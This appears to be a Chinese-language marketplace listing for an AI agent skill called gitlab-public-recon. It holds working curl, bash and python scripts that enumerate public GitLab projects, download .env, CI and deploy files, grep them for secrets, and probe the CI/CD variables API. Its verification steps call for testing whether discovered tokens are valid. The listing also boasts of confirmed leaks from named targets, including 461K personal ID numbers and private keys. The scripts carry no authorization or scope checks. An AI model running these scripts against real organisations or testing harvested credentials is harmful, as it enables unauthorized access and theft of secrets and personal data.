mcpField
G
gitlab-public-recon

gitlab-public-recon

github.com/uphiago安全1.3k40 次安装8 周前更新
代码仓库

关于 gitlab-public-recon

用于枚举公开 GitLab 项目并检查仓库内容、CI/CD 详情和暴露配置的安全侦察技能。面向可访问 GitLab 实例的评估,并提供发现结果的确认流程。

主要功能

  1. 01枚举公开可见的项目
  2. 02获取仓库文件与提交历史
  3. 03检查 CI/CD 定义和作业详情
  4. 04检查注册状态与公开访问
  5. 05验证已发现秘密的指引

适用场景

  1. 01梳理发现的 GitLab 实例中的公开项目
  2. 02检查源文件是否暴露配置
  3. 03调查 CI/CD 流水线产物与历史
  4. 04确认暴露凭据是否有效

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/uphiago/recon-skills --skill gitlab-public-recon

安装后在 Claude Code 中输入/gitlab-public-recon确认已加载。

详细介绍

GitLab 公共侦察技能

枚举可公开访问的 GitLab 仓库,以提取源代码、凭据、内部 IP、CI/CD 令牌、部署配置和环境文件。启用了注册或设置为公开可见的 GitLab 实例会暴露整个开发基础设施。已在 gov-finance-portal(3 个公开仓库、461K 个 CPF、内部 IP 10.11.82.75、CI/CD 令牌)、dev-agency(含 SSL 私钥的 GitLab)和 fitness-chain(仓库中含 Firebase SA 密钥)中确认。

适用场景

  • 目标有 gitlab. 子域名或自托管的 GitLab 实例。
  • crt.sh 在证书中发现 gitlab.target.com。
  • subdomain-enumeration 发现 GitLab 主机之后。
  • js-secrets-extraction 发现 GitLab CI/CD 引用之后。
  • 目标是政府机构或大型企业(这类组织通常使用自托管的 GitLab)。

前提条件

  • terminal,并配有 curl、python3、jq。
  • GitLab URL(例如 https://gitlab.target.com)。
  • 无需身份验证即可访问 GitLab API 中的公开资源。

运行方法

# List public projects
curl --max-time 30 --connect-timeout 10 -sk "https://gitlab.TARGET.com/api/v4/projects?visibility=public&per_page=100" | jq '.[].path_with_namespace'

# Read a file from a public repo
curl --max-time 30 --connect-timeout 10 -sk "https://gitlab.TARGET.com/api/v4/projects/GROUP%2FPROJECT/repository/files/PATH/raw?ref=main"

快速参考

API 端点返回内容风险
/api/v4/projects?visibility=public所有公开项目信息
/api/v4/projects/:id/repository/tree目录列表高
/api/v4/projects/:id/repository/files/:path/raw?ref=:branch原始文件内容严重
/api/v4/projects/:id/repository/commits含作者信息的提交历史中
/api/v4/projects/:id/variablesCI/CD 变量(仅管理员)严重
/api/v4/projects/:id/jobsCI/CD 作业历史中
/users/sign_up开放注册严重
/explore公开项目浏览器信息

操作步骤

阶段 1 — 发现 GitLab 实例并检查公开访问权限
TARGET="$1"
OUTDIR="$OUTDIR/gitlab"
mkdir -p "$OUTDIR"

echo "[*] GitLab recon on $TARGET"

# Check if GitLab is accessible
MAIN_PAGE=$(curl -sk --max-time 10 --connect-timeout 10 "https://$TARGET/" 2>/dev/null)
if echo "$MAIN_PAGE" | grep -qi "gitlab"; then
  echo "[+] GitLab confirmed"
elif echo "$MAIN_PAGE" | grep -qi "sign_in\|sign_up\|explore/projects"; then
  echo "[+] GitLab confirmed (page content)"
else
  echo "[-] May not be GitLab — probing API..."
fi

# Check API version
API_VER=$(curl -sk --max-time 5 --connect-timeout 5 "https://$TARGET/api/v4/version" 2>/dev/null | python3 -c "import sys,json; d=json.load(sys.stdin); print(f'{d.get(\"version\",\"?\")} rev {d.get(\"revision\",\"?\")[:8]}')" 2>/dev/null)
[[ -n "$API_VER" ]] && echo "  GitLab version: $API_VER"

# Check if registration is open
REG_CODE=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 5 --connect-timeout 5 "https://$TARGET/users/sign_up" 2>/dev/null)
[[ "$REG_CODE" == "200" ]] && echo "  [!] Registration OPEN — anyone can create accounts"
阶段 2 — 枚举公开项目
TARGET="$1"

echo "[*] Enumerating public projects..."

PAGE=1
TOTAL_PROJECTS=0

while true; do
  PROJECTS=$(curl -sk --max-time 15 --connect-timeout 10 "https://$TARGET/api/v4/projects?visibility=public&per_page=100&page=$PAGE" 2>/dev/null)

  count=$(echo "$PROJECTS" | python3 -c "import sys,json; print(len(json.load(sys.stdin)))" 2>/dev/null)
  if [[ "$count" -eq 0 ]]; then break; fi

  # Extract project names and save
  echo "$PROJECTS" | python3 -c "
import sys, json
projects = json.load(sys.stdin)
for p in projects:
    print(f'{p[\"id\"]} | {p[\"path_with_namespace\"]} | stars={p.get(\"star_count\",0)} | forks={p.get(\"forks_count\",0)} | last_activity={p.get(\"last_activity_at\",\"?\")[:10]}')
" 2>/dev/null | tee -a "$OUTDIR/projects.txt"

  TOTAL_PROJECTS=$((TOTAL_PROJECTS + count))
  PAGE=$((PAGE + 1))
  [[ $PAGE -gt 20 ]] && break  # Safety limit
done

echo "[+] Total public projects: $TOTAL_PROJECTS"
阶段 3 — 提取源代码和机密信息
TARGET="$1"
PROJECT_ID="$2"   # from projects.txt enumeration
OUTDIR="$OUTDIR/gitlab"

echo "[*] Extracting from project ID: $PROJECT_ID"

# Get project details
DETAILS=$(curl -sk --max-time 10 --connect-timeout 10 "https://$TARGET/api/v4/projects/$PROJECT_ID" 2>/dev/null)
PRJ_NAME=$(echo "$DETAILS" | python3 -c "import sys,json; print(json.load(sys.stdin).get('path_with_namespace','unknown'))" 2>/dev/null)
echo "  Project: $PRJ_NAME"

# Get repository file tree (top-level)
TREE=$(curl -sk --max-time 10 --connect-timeout 10 "https://$TARGET/api/v4/projects/$PROJECT_ID/repository/tree?recursive=true&per_page=100" 2>/dev/null)
echo "  Files in repo: $(echo "$TREE" | python3 -c "import sys,json; print(len(json.load(sys.stdin)))" 2>/dev/null)"

# Hunt for sensitive files
SENSITIVE_PATTERNS=(
  ".env" ".env.example" ".env.production" ".env.local"
  "docker-compose.yml" "docker-compose.prod.yml" "Dockerfile"
  ".gitlab-ci.yml" "deploy.sh" "deploy.yml"
  "credentials.json" "service-account.json" "*.pem" "*.key"
  "config/database.yml" "config/secrets.yml"
)

echo "[*] Hunting sensitive files..."

echo "$TREE" | python3 -c "
import sys, json, re

files = json.load(sys.stdin)
sensitive = ['.env', 'docker-compose', 'deploy', '.gitlab-ci.yml', 'credentials',
             'service-account', '.pem', '.key', 'secret', 'password', 'token',
             'database.yml', 'secrets.yml', 'backup', 'dump']

for f in files:
    name = f['name'].lower()
    path = f['path'].lower()
    if any(s in name or s in path for s in sensitive):
        print(f'  {f[\"type\"]:4s} {f[\"path\"]}')
" 2>/dev/null

# Download specific sensitive files
echo "[*] Downloading key files..."

for file_path in ".env" ".env.example" "docker-compose.yml" ".gitlab-ci.yml" "deploy.sh"; do
  ENCODED_PATH=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$file_path', safe=''))")
  content=$(curl -sk --max-time 10 --connect-timeout 10 "https://$TARGET/api/v4/projects/$PROJECT_ID/repository/files/$ENCODED_PATH/raw?ref=main" 2>/dev/null)

  if [[ -n "$content" ]] && ! echo "$content" | grep -q "404 File"; then
    echo "$content" > "$OUTDIR/${PRJ_NAME//\//_}_${file_path//\//_}"
    echo "  [+] Downloaded: $file_path (${#content} bytes)"

    # Quick secret scan
    if echo "$content" | grep -qiE "password|secret|token|key|database|redis|mysql|api_key"; then
      echo "    [!] POTENTIAL SECRETS FOUND"
      echo "$content" | grep -iE "password|secret|token|key" | head -5
    fi
  fi

  # Also try 'master' branch
  if [[ -z "$content" ]] || echo "$content" | grep -q "404 File"; then
    content=$(curl -sk --max-time 10 --connect-timeout 10 "https://$TARGET/api/v4/projects/$PROJECT_ID/repository/files/$ENCODED_PATH/raw?ref=master" 2>/dev/null)
    if [[ -n "$content" ]] && ! echo "$content" | grep -q "404 File"; then
      echo "  [+] Downloaded (master): $file_path"
    fi
  fi
done
阶段 4 — 提取 CI/CD 令牌和变量
TARGET="$1"
PROJECT_ID="$2"

echo "[*] CI/CD analysis..."

# Get .gitlab-ci.yml (pipeline definition)
CI_CONTENT=$(curl -sk --max-time 10 --connect-timeout 10 "https://$TARGET/api/v4/projects/$PROJECT_ID/repository/files/.gitlab-ci.yml/raw?ref=main" 2>/dev/null)
if [[ -n "$CI_CONTENT" ]] && ! echo "$CI_CONTENT" | grep -q "404"; then
  echo "  [+] .gitlab-ci.yml found"

  # Extract CI/CD variables and tokens
  echo "$CI_CONTENT" | grep -Eo '\$\{[A-Z_]+\}|$[A-Z_]+' | sort -u | while read var; do
    echo "    CI Variable: $var"
  done

  # Check for runner registration tokens
  echo "$CI_CONTENT" | grep -iE "token|secret|password|credential" | head -5
fi

# Try to access CI/CD variables (requires admin token — rare but worth trying)
VARS=$(curl -sk --max-time 5 --connect-timeout 5 "https://$TARGET/api/v4/projects/$PROJECT_ID/variables" 2>/dev/null)
if echo "$VARS" | grep -qi "key\|value"; then
  echo "  [CRITICAL] CI/CD variables accessible without admin token!"
  echo "$VARS" | python3 -m json.tool 2>/dev/null | head -30
fi

注意事项

  • 速率限制。 GitLab API 存在速率限制(通常为每分钟 300-600 次请求)。请使用 --max-time 并设置请求间隔。
  • 文件路径编码。 路径中的特殊字符必须进行 URL 编码(/ → %2F,. → %2E)。
  • 默认分支可能不是 main。 访问文件时请尝试 main、master、develop。
  • 大文件可能被截断。 API 可能会限制响应大小。如果开放注册,可使用 git clone 获取完整内容。
  • GitLab 身份验证。 无需身份验证即可访问公开仓库。私有仓库会返回 404。

验证

  • 必须能通过 /api/v4/projects?visibility=public 枚举公开项目。
  • 必须能通过原始文件端点下载敏感文件,且文件中包含真实凭据/配置(而非模板)。
  • 必须确认发现的内部 IP/域名属于目标的基础设施。
  • 必须测试发现的 CI/CD 令牌是否有效(例如,使用 Runner 令牌访问 GitLab API)。
  • 开放注册意味着任何人都可以创建账户,并可能访问更多资源。

评论

支持 Markdown